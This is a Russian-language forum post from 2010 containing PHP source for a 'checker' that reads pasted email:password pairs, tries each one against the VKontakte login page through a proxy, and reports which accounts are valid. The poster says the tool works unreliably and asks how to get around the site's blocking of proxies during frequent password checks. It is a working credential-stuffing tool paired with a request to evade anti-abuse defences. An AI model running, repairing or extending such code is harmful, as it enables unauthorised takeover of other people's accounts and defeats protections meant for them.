Показать сообщение отдельно

  #4  
Старый 19.03.2010, 04:04
SkyLine32
Участник форума
Регистрация: 01.03.2009
Сообщений: 121
Провел на форуме:
4022236

Репутация: 38
Отправить сообщение для SkyLine32 с помощью ICQ Отправить сообщение для SkyLine32 с помощью AIM Отправить сообщение для SkyLine32 с помощью MSN Отправить сообщение для SkyLine32 с помощью Yahoo
По умолчанию

PHP код:
<form method="post" />
<textarea cols="80" rows="18" name="akki-list">
</textarea>
<br />
<input type="submit" value=" Send " />
</form> 
<?php
if(isset($_POST['akki-list'])) {

function 
curl($url,$post)
{
$cfile 'cheker-cookies.txt';
$ch curl_init();
curl_setopt($chCURLOPT_USERAGENT"Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.6"); 
curl_setopt($chCURLOPT_URL$url);
curl_setopt($chCURLOPT_HEADER1);

$proxy="ip:port";

curl_setopt($chCURLOPT_PROXY$proxy); 
curl_setopt($chCURLOPT_POSTFIELDS$post); 
curl_setopt($chCURLOPT_RETURNTRANSFER1); 
curl_setopt($chCURLOPT_COOKIEJAR$cfile); 
curl_setopt($chCURLOPT_COOKIEFILE$cfile); 
curl_setopt($chCURLOPT_FOLLOWLOCATION1); 
curl_setopt($chCURLOPT_POST1);
$result curl_exec($ch);
curl_close($ch);
return 
$result;
};

foreach(
explode("\n",$_POST['akki-list']) as $line)
{

$pos strpos($line':');
$email substr($line0$pos);
$pos2 strpos($line':');
$pass substr($line$pos2);
$pass = @ereg_replace(":"""$pass);

$result curl('http://vkontakte.ru/','');

if(
strstr($result,'<title>В Контакте | Добро пожаловать</title>'))
$result curl("http://vkontakte.ru/login.php","email=$email&pass=$pass");
}
if (
preg_match('#(это Вы)(.*)#iU',$result,$avtoriz))
echo 
"$email:$pass - ok<br />";
else
echo 
"$email:$pass - bad<br />";
unlink('cheker-cookies.txt');
}
}
?>
Ну вот в принципе рабочий чекер на php. Но только работает странно. Раз работает, другой раз не работает... Может ли сайт вконтакте блокировать прокси при частой проверки паролей на валидность? Если да, то как это можно обойти?
 
Ответить с цитированием